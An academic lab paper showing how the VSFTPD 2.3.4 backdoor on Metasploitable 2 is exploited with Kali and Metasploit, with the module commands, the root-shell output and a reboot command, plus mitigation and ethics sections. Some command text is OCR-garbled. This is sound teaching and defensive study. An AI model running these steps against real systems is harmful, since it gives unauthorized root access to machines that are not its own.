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Abstract— This paper explains cybersecurity vulnerabilities in legacy systems, focusing on a critical
backdoor in Very Secure FTP Daemon (VSFTPD) version 2.3.4. Using Metasploitable 2 as a controlled
test environment, this research demonstrates systematic penetration testing with Kali Linux and
Metasploit Framework to exploit the VSFTPD backdoor vulnerability. This experiment achieved
complete administrative control of the target system successfully, exposing the severe risks of
unpatched vulnerabilities in production environments. Key findings consist detailed attack vectors,
exploitation techniques, and system compromise methods that malicious actors could utilize.
Furthermore, emphasizes important defensive measures including regular security patching,
configuration hardening, and active vulnerability management. This paper answers ethical
considerations in penetration testing and advocating for responsible disclosure policies including
authorized security assessments. This experimental study contributes to understanding legacy system
weaknesses and provides real world practical solutions for organizations managing similar
infrastructure. This experiment exhibited methods attackers use to conceal their identity. This paper
identified the importance of repetitive security awareness training, regular vulnerability assessments,
and importance of defence-in-depth strategies to prevent exploitation of known backdoor vulnerabilities
in network services. These results provide valuable insights for organizations discovering to strengthen
their cybersecurity posture against legacy system threats.
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Introduction

Vulnerabilities in software systems create significant threats to cybersecurity and
computer network security. Unpatched and unfixed vulnerabilities can work as gateways for
malicious actors to infiltrate systems, compromise or destroy sensitive data, and disrupt or
crash operations(Neshenko et al., 2019). Understanding these vulnerabilities and their
exploitation techniques is crucial and very important for developing effective defence
strategies and methodologies against the attackers and future threats. The increasing level of
sophistication of cyber-attacks and the continued abuse of the software vulnerabilities have
become the hallmark of the modern information security. The security stance of the organic
services in the outdated software implementations has become a big issue as organizations
continuously rely on networked systems to perform critical operations. File transfer protocol
(FTP) although it was widely used in many enterprise settings in the past had proven to have
many security vulnerabilities that were being exploited by malicious individuals with
catastrophic effects(Harutyunyan et al., 2020).

Very Secure FTP Daemon (VSFTPD) is a secure implementation of FTP, which is
faster, more stable and secure than the traditional FTP implementations(Zhang et al., 2020).
But version 2.3.4 had a severe backdoor vulnerability that essentially undermined these
security goals. The supply chain compromise was the intentional addition of a backdoor
allowing attackers to access arbitrary commands with root privileges by taking advantage of a
simple authentication bypass. The vulnerability itself is a paradigmatic example of software
supply chain security and disastrous effects of undermined development pipelines. The target
system used in the investigation is Metasploitable 2, which is an intentionally vulnerable Linux
distribution created to be used in security training, and the attack platform is Kali Linux with
the Metasploit Framework.

The following are the objectives of this research; (1) to illustrate full lifecycle of
exploitation in terms of reconnaissance to post-exploitation verification, (2) to examine
technical processes involved in this backdoor vulnerability, (3) to assess its consequences on
the security posture in the organization, and (4) to come up with evidence-based mitigation
solutions(Li et al., 2022). Moreover, this paper highlights the ethical aspects of penetration
testing and vulnerability research, which should be conducive to responsible disclosure
behaviour and approved security testing that enhances and does not weaken organizational
defences.

This paper focuses and aims to present and demonstrate the exploitation of a backdoor
command execution vulnerability in the Very Secure FTP Daemon (VSFTPD) service,
specifically using the Metasploitable 2 OS. By using Kali Linux as the attack platform, this
experiment explains and discuss: How to simulate the vulnerability exploitation process to gain
and capture the unauthorized access to the target system. Cover and explain the highlighting
key tools, techniques and methodologies. Analyse and describe the implications of the
vulnerability and provide potential mitigation strategies(Ablon & Bogart, 2017). Explain the
ethical considerations surrounding vulnerability exploitation and discuss the responsible
disclosure.

This paper mainly consists with the chapters of introduction, background,
methodology, results, discussion and final chapter as a conclusion. Furthermore, this method
is not the only vulnerability exploitation method use identify the threats in the software and
operating systems below methodologies and techniques are also used to identify these types of
threats in real world. If they are Buffer Overflow Attacks, Code Injection Attacks, Privilege
Escalation Attacks and Zero-Day Attacks(Bilge & Dumitras, 2012).
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Background
During the background studying phase identified in majority of studies widely use
Nmap and MSFconsole based experimental methods for this type of vulnerabilities. As well
as, during this background study identified a gap for hide the attacker identity during the attack
period and in this experiment covered that identity issue(J. Chen et al., 2020).

What is Nmap?

Network Mapper is a free and open-source network inspection, discovery, and security
auditing tool. It's mainly used by network administrators, network and cyber security
professionals, and even ethical hackers for various security base purposes(J. Chen et al., 2020),
Nmap provides:

e Network discovery: Identifying and display the devices connected to a network, and
even if they are hidden or behind firewalls.

e Port scanning: Determining and identify the which ports are open on a device and which
and what type of services are running on those ports.

e Operating system detection: Identifying the operating system details and type running
on a device.

e Vulnerability detection: Discovering and identify the potential security vulnerabilities
on a device.

e Network monitoring: Tracking and identify the changes in a network over time.

Furthermore, Nmap is works by sending specially crafted packets to target devices and
analyzing the responses and can use various techniques to scan networks, if they are(Fouladi
et al., 2020):

e TCP ping: This is the most ordinary technique, and this simply checks whether a device
is alive.

e UDP scan: This technique is generally used to scan for devices that don't respond to
TCP pings.

e SYN scan: This technique is used to identify and detect the open ports on a device
without completing a full TCP connection.

e Xmas scan: This technique mainly sends a special packet with all flags set to determine
which ports are the open and which are the filtered.

e Script engine: This Nmap can also use scripts to automate tasks and collect additional
information and details from devices.

What is MSFconsole?

This Metasploit Framework Console is the primary command-line interface for the
Metasploit Framework, and powerful open-source platform for penetration testing and
vulnerability research(S. Chen & Lea, 2018). This provides an "all-in-one" centralized console
that provides users to:

I.  Explore and Launch Exploits:
e Search and discover for and select exploits based on various factors such as target
operating system, vulnerability type, and desired outcome.
e Configure exploit options such as payload delivery methods, target addresses, and
evasion techniques and methods.
e Launch exploits and observe and can display the results in real-time, including session
logs and post-exploitation data.
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IIL.

Perform Network Reconnaissance:

Scan and find networks for hosts and services using various modules such as Nmap and
ARP sweep.

Identify and display the open ports and running services to discover potential
vulnerabilities.

Collect the additional information about target systems, such as operating system
version and installed software.

Utilize Auxiliary Modules:

Execute auxiliary modules for tasks such as privilege escalation, lateral movement, and
credential dumping.

Interact with established and create exploit sessions to gain deeper access and control
over the target system.

Automate tasks and workflows using scripting languages such as Ruby within the
console.

Manage and Customize Metasploit:

Can download and install additional modules and plugins to expand functionality.

Has an ability for configure database settings and user accounts for access control.
Can develop the custom modules and scripts to exploit specific vulnerabilities or
perform unique tasks.

Some key features of the MSFconsole as below:

Powerful search and filter capabilities: By using MSFconsole can quickly find the right
exploit or tool based on your needs.

Tab completion: Can easily navigate complex commands and options with
autocomplete suggestions.

Extensive help documentation: Can access detailed information about commands,
modules, and concepts.

Flexibility and customization: Can adapt the console to user workflow and preferences
with scripting and plugins.

Methodology
According to the followed literature and other materials prepared the methodology

using these steps. That steps were environment setup, vulnerability identification, exploitation
and verification(Lee et al., 2017).

Environment Setup
In this experiment first setup the virtual environment correctly. Used below operating systems
and virtual machine software for this experiment according to role and purpose(Svabensky et

al., 2020).
Table 1
Used software list for environment
Role/Purpose Operating System/Software
Attacker OS Kali Linux 2023.3
Victim OS Metasploitable 2
Virtual Environment VMware® Workstation 17 Pro

29
Published by the Faculty of Technology, South Eastern University of Sri Lanka, under a Creative Commons Attribution4.0 International
License (CC BY 4.0). The copyright remains with the author(s).



Hosan, Perera, Vithanage, Wijesekara, Abeysinghe, Indupama, Ekanayake, and Kelum | SLJoT 06 (02) 2025

After successfully installing operating systems and virtual environment software
change the virtual machines' network configuration into the host-only option for verify the
testing environment security (as below figure 1) and provide the ability to communicate only
between virtual machines. And logged into the virtual machines(Sultan et al., 2019). (Attached
the victim’s virtual machine details screenshot under the appendices figure 15.)

L sagmeere. | Adncet

= cance Hele

Figure 1.Network adapter host-only configuration.

In the next stage check the IP addresses using the ‘ifconfig’ command and identify the virtual
machines IP addresses (as below figure 2 and figure 3).

Mask:255.255.255.0

Link encap:Local Loopback
1

Figure 2. Victim IP address.

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 19 148.128 netmask 255.255.255.0 broadcast 192.168.148.255
inet6 fe80 : 4 3051 prefixlen 64 scopeid 0x20<link>
ether 00:0 tdé4: xqueuelen 1000 (Ethernet)
RX packets bytes 1. 8 (12.9 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 150 bytes 15164 (14.8 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags= UP, LOOPBACK,RUNNING> mtu 65536
inet .0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x1@<host>

loop txqueuelen 1000 (Local Loopback)

RX packets & bytes 240 (240.0 B)

RX errors @ dropped @ overruns @ frame @

TX packets & bytes 240 (240.0 B)

TX errors @ dropped @ overruns @ carrier @ collisions @

Figure 3. Attacker IP address.

As well as identified the IP address ranges and checked the connection between the virtual
machines. For check the connection used the ‘ping’ command (below figure 4 shows the
connection results). Identified victim IP address is ‘192.168.148.129°.
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192.168.148.129
PING 192.168.148.129 (192.168.148.129) 56(84) bytes of data.
64 bytes from 192.168.148.129: icmp_seq=1 ttl=64 time=0.454 ms
64 bytes from 192.168.148.129: icmp_seq=2

2 ttl=64 tim .00 ms
64 bytes from 192.168.148.129: icmp_seq=3 ttl=64 time=1.15 ms
e

— 192.168.148.129 ping statistics —

3 packets transmitted, 3 received, 0% packet loss, time 2010ms
rtt min/avg/max/mdev = 0.454/0.868/1.148/0.298 ms

Figure 4. Connection check between virtual
machines.

Vulnerability Identification
Under the vulnerability identification stage used the ‘Nmap’ on victim’s IP address for identify
and display the open ports, services and their versions and the information about the victim (as

below figure 5) for complete this step used command is ‘Sudo Nmap -sass -vs.
‘192.168.148.129".

[sudo]

Nmap 7.94 ( https://nmap.org )

Usage: nmap [Scan Type(s)] [Options] {target specification}

TARGET SPECIFICATION:
Can pass hostnames, IP addresses, netwo o
Ex: scanme.nmap.org, microsoft.com/24, .168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
—exclude <hostl[,host2][,host3], ... >: Exclude hosts/networks
—excludefile <exclude_file>: Exclude list from file

HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online — skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
—dns-servers <servl[,serv2], ...>: Specify custom DNS servers
-—system-dns: Use 0S's DNS resolver
—-traceroute: Trace hop path to each host

Figure 5. Successfully ran Nmap command.

Exploitation

In this stage used Metasploit console and searched for VSFTPD exploit for this operation used
the command of ‘msfconsole’ (can see the result of this command in below figure 6). As well
as MSSF console provides more features for search the VSFTPD exploit.

Figure 6.After ran the command of 'msfconsole’.
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In the next step identify the available VSFTPD exploit using command of  search vsftpd * (as
show in figure 7).

msf6 > search vsftpd

Matching Modules

Name Disclosure Date Rank Check Description

auxiliary/dos/ftp/Msftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
exploit/unix/ftp/Msftpd_234_backdoor 2011-07-03 No VSETPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example

Figure 7.1dentified VSFTPD exploits.

Next identified the most suitable exploit using the rank and next use that exploit using
the command of ‘ use exploit/unix/ftp/vsftpd 234 backdoor ’. As well use this exploit by using
the command of ‘use 1’°(result of the command shows in the figure 8).

After running the above command used the ¢ info > command for show the information about
exploit and victim (as below figure 9).

msf6 > use exploit/unix/ftp/vsftpd_234 backdoor
No payload configured, defaulting to cmd/unix/interact
msf6 exploit( N |

Figure 8.After ran the command.

After identified the information about the victim next started to identify the search
available options about victim using the command of ‘show options’ and this command help
to identify all available options such as RHOST and RPORT (as below figure 10) and show
the port number of FTP as 21.

Figure 9. Information about the victim.
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msf6 exploit( ) > show options
Module options (exploit/unix/ftp/vsftpd_2
Name Current Setting Required Description

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:
Id Name

o Automatic

View the full module info with the A\ command.

msf6 exploit(

Figure 10. Available options.

But need to manually set the value for RHOST value adding the victim IP address using the
command of ¢ set RHOST 192.168.148.129 ’ (as below figure 11).

msf6 exploit( ) > set RHOST 192.168.148.129
RHOST = 192.168.148.129

msf6 exploit( ) > |}

Figure 11. After set the RHOST.

After successfully completing the above all steps finally can run the attack.

Verification

This is the last stage of this need to simply run the command of ‘run’ for complete the attack
with full scale. After successfully completed the attack can take the complete access of victim’s
device (as below figure 12).

) > run

192.168.148.129: Banner: 220 (vsFTPd 2.3.4)
192.168.148.129: USER: 331 Please specify the password.

192.168.148.129:2 Backdoor service has been spawned, handling...

192.168.148.129:2 UID: uid=0(root) gid=0(root)

Found shell.

Command shell session 1 opened (192.168.148.128:44383 — 192.168.148.129:6200) at 2024-01-15 04:12:47 -0500

Figure 12:Successfully launched the exploitation.

Results
Successful Exploitation
Successfully attacked the victim using the exploitation and gained the root level complete
access from the victim device. By using this massive exploitation on the system anyone can

easily attack the system and can create a threat to the system and it’s functionalities(Samtani
etal., 2017).
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Verification Commands

Used the commands to verify the attack and identify the impact on victim’s device checked
commands are ‘ hostname ’, ‘ uname -a ’ , * whoami ’ , and ‘ init 6 > (below figure 13 show
the results taken from these commands).

hostname

metasploitable

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
whoami

root
init 6

192.168.148.129 - Command shell session 1 closed.
msf6 exploit( N |

Figure 13:Evidence for attack verification.

New Findings

During this experiment found the similar command for ‘run’ the similar command is ‘exploit’.
This command is also performed as the ‘run’ command and provide same output (as below
figure 14).

msf6 exploit( ) > exploit

192.168.148.129: Banner: 220 (vsFTPd 2.3.4)

192.168.148. USER: 331 Please specify the password.

192.168.148. Backdoor service has been spawned, handling ...

192.168.148. UID: uid=0(root) gid=0(root)

Found shell.

Command shell session 2 opened (192.168.148.128:37449 — 192.168.148.129:6200) at 2024-01-15 04:23:30 -0500

hostname
metasploitable
uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 1@ 13:58:00 UTC 2008 i686 GNU/Linux
whoami
root
init 6
192.168.148.129 - Command shell session 2 closed.
msf6 exploit( PR

Figure 14:The 'exploit’ command output.

Discussion

According to the above results section, vulnerabilities can cause the massive security
issues in the systems. By following the below key actions, the security problems can directly
affect the system.

Implications of Vulnerability.

This type of exploitation vulnerability (such as a backdoor) is not suitable for computer
operating systems (Ladisa et al., 2023). Because in the real world, problems of this type of
exploitation vulnerability are mainly used by the illegal attackers to fulfill their internal needs.
As well as some companies widely use this type of attack sometimes to verify their internal
system-based security strategies. But this type of exploitation vulnerability is not only in the
Metasploitable 2 operating system. The reason is when considering the history, we can see
some commercial software versions had and exposed to this type of security threat (Ebrahimi
et al., 2021).

Mitigation Strategies

Can solve this type of problem using patching and updating, configuration hardening,
and conducting security awareness sessions (Fouladi et al., 2020). Under the patching and
updating can use regular patches for solve these problems, and by using configuration
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hardening can control the accessible features and services of the software can be controlled,
however, most important human base methodology is conducting a security awareness session
because if can training the users about the prevention methods of this type of attacks it will be
helpful to solve these types of problems before entering the system or network. As well as if
someone has not a good idea about these types of problems simply, they can use antivirus
software in commercially available.

Ethical Considerations

Before doing this type of experiment in real world need to inform to the authorized
persons and sections in the organization and should not use this knowledge for do the illegal
and unauthorized activities(Samtani et al., 2017).

The successful attack of the VSFTPD 2.3.4 vulnerability of back door in this controlled
experimental setting provides an essential clue about the nature of the supply chain
compromises and how it has long-term effects on the security of an organization. The fact that
it is possible to gain root-level access to the system via an exposure mechanism that is simple
to execute shows the depth of asymmetry between the capabilities of the attacker and defensive
needs in the present-day cybersecurity environment. This research sheds light on various
dimensions that must be thoroughly examined as critical. The VSFTPD backdoor is a paradigm
example of compromising the supply chain when malicious code was introduced intentionally
into what was deemed to be a secure piece of software. The technical exploitation of this
vulnerability is not the only problem that is severe enough; it is a matter of lack of trust in the
work of software development, as well as distribution.

The presence of the backdoor mechanism, which is activated by a particular format of
a username containing a smiley face emoticon and the execution of a command on port 6200,
shows that the use of advanced techniques of obfuscation with the aim of obfuscating the
system without being detected easily but allowing the knowledgeable attacker to exploit it
effectively(Myrbakken & Colomo-Palacios, n.d.). The fact that the attacker was successful in
increasing privileges to an anonymous access into the network and to root access within a few
minutes highlights the small window of vulnerability that is available between disclosure and
remediation. Moreover, the proliferation of exploitation tools via systems such as Metasploit
democratize attacker capabilities, and are therefore applicable by otherwise moderately-skilled
attackers to undermine vulnerable systems, the exploitation trends identified in this study are
highly applicable to modern security concerns.

The recent incidents of modern supply chain attacks, including the SolarWinds breach
and the CodeCov breach, have shown that the backdoor insertion into trusted software remains
a favorite attacker tactic of advanced threat agents(Neshenko et al., 2019). The VSFTPD case
study is very informative on how detection methods, incident response procedures and the
overall risk of the organization having to pay a ransom after acquiring knowledge of
compromised software integrity is easy to do so without considering that this will eventually
become common in current ransomware campaigns and advanced persistent threat activities,
as attackers exploit the fact that organizations are incapable of patching out or retiring known
vulnerabilities in their legacy systems.

This study highlights that the vulnerability age does not reduce the risk of exploitation,
but older vulnerabilities tend to pose more risks with the exploitation methods developing and
the automated tools becoming widespread(Dietz et al., 2020). The results or discoveries require
a multi-layers defense model in the integration of technical controls, process enhancements,
and cultural change. Routine patching and updates become the main defense mechanism, but
a lot of companies face the challenge of patch management because of the limits of the
operations and compatibility issues as well as the lack of resources(Gajananan et al., 2016).
Beyond technical measures, security awareness training and organizational security culture has
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been shown to be vital in this research as it makes the activities of the attackers more difficult,
even in cases where a vulnerability is present(Brost et al., 2020). The trained staff that is able
to identify signals of compromise, familiar with the attack techniques, and able to react to
security breaches in the most appropriate way is vital to the overall defense mechanisms. The
human factor is the weakest vulnerability of the organizational security posture, as well as, the
most flexible defense mechanism, and ethical standards of penetration testing and vulnerability
research have been followed in this investigation. All tests were conducted in secluded virtual
environments, meaning that there was no damage to production systems or unauthorized visits
to the real-life infrastructure. The study highlights the importance of knowledge of exploitation
methods to be used defensively to educate security experts so that they understand the threat
environments and be capable of creating countermeasures to them. The responsible practice of
disclosure is the most important in vulnerability research. Companies that uncover such
weaknesses need to weigh between exposing the vulnerabilities, which allows mass defense
against the danger of being exploited by bad actors. This study proposes the use of coordinated
disclosure strategies that will give the vendors time to act and have government agencies take
timely steps to notify the impacted organizations about the risks in time(Costin et al., 2016).

Conclusion

This test was able to identify the exploitation of the VSFTPD 2.3.4 backdoor
vulnerability, which is important because it was done offering an in-depth study of the attack
lifecycle, mechanism of system compromise, and the fact that active security measures are
critical. The study was successful in gaining root-level access to the target system in a
systematic approach that included reconnaissance of the network, finding vulnerabilities,
exploitation with the use of Metasploit Framework, and after exploitation verification. Through
this experiment successfully abled to simulate the exploitation process using virtual
environment, abled to verify the successfulness of methodology which followed and
successfully abled to hide the identity of attacker using scripts. Under the mentioned ethical
considerations these results highlight the dire consequences of unpatched vulnerabilities and
supply chains of compromised software in modern computing environments. The findings of
the experiment point to the fact that the legacy vulnerabilities, especially the backdoor
implementation, pose absolute threats to the security infrastructure of organizations. The fact
that the attackers can easily use the freely available exploitation frameworks to breach
vulnerable systems underlines the urgency with which the introduction of the sound
vulnerability management programs is needed. Organizations that have retained legacy FTP
services are at a high risk as a result of similar vulnerabilities and urgent measures must be
taken by updating their services, hardening their configurations and implementing network
segmentation strategies.

This study adds some important discoveries to the scope of cybersecurity knowledge.
To begin with, it offers empirical records of the entire process of exploitation which is an
invaluable learning tool to both security practitioners and students. Second, it shows that
penetration testing methodologies are practically effective in determining and confirming
security vulnerabilities. Third, it confirms the paramount significance of the security awareness
training and security culture within the organization in the process of the prevention of the
successful attack.

The suggested mitigation measures such as regular patching, hardening the
configuration, network monitoring and security awareness training offer practical models that
organizations can use to enhance their defensive positions. Nevertheless, technical controls are
not effective and effective security programs will need multifaceted initiatives that incorporate
people, procedures and technology. The future work is to examine the mechanisms of
automated vulnerability detection, examine the new threats to supply chain security, and create
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the advanced defensive mechanisms which can identify and counter a backdoor
implementation. Also, comparative analyses involving the analysis of the exploitation methods
used in various vulnerable services would give good details of the typical attack patterns and
also countermeasures. Finally, this study highlights the fact that cybersecurity is a never-ending
process that needs vigilance, adaptation, and dedication to the defense of online assets in a
world that is becoming more interconnected.
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